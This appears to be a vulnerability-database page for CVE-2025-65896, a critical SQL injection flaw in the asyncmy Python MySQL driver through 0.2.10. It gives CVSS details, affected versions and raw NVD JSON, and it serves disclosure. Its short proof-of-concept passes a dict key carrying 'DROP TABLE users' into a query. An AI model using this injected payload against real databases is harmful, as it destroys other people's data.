Security Vulnerability Report
中文
CVE-2025-65896 CVSS 9.8 CRITICAL

CVE-2025-65896

Published: 2025-12-02 19:15:52
Last Modified: 2025-12-19 18:23:23

Description

SQL injection vulnerability in long2ice assyncmy thru 0.2.10 allows attackers to execute arbitrary SQL commands via crafted dict keys.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:long2ice:asyncmy:*:*:*:*:*:*:*:* - VULNERABLE
asyncmy <= 0.2.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncmy conn = await asyncmy.connect(host='127.0.0.1', port=3306, user='root', password='password', db='test') cursor = await conn.cursor() # 恶意构造的字典键 malicious_dict = {"1; DROP TABLE users;--": "value"} await cursor.execute("SELECT * FROM test WHERE id = %s", (malicious_dict,))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65896", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:51.877", "lastModified": "2025-12-19T18:23:23.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in long2ice assyncmy thru 0.2.10 allows attackers to execute arbitrary SQL commands via crafted dict keys."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:long2ice:asyncmy:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.2.10", "matchCriteriaId": "F370A5BD-12DA-4ACE-96F6-1DEFA1241DBC"}]}]}], "references": [{"url": "https://github.com/long2ice/asyncmy", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/long2ice/asyncmy/issues/134", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}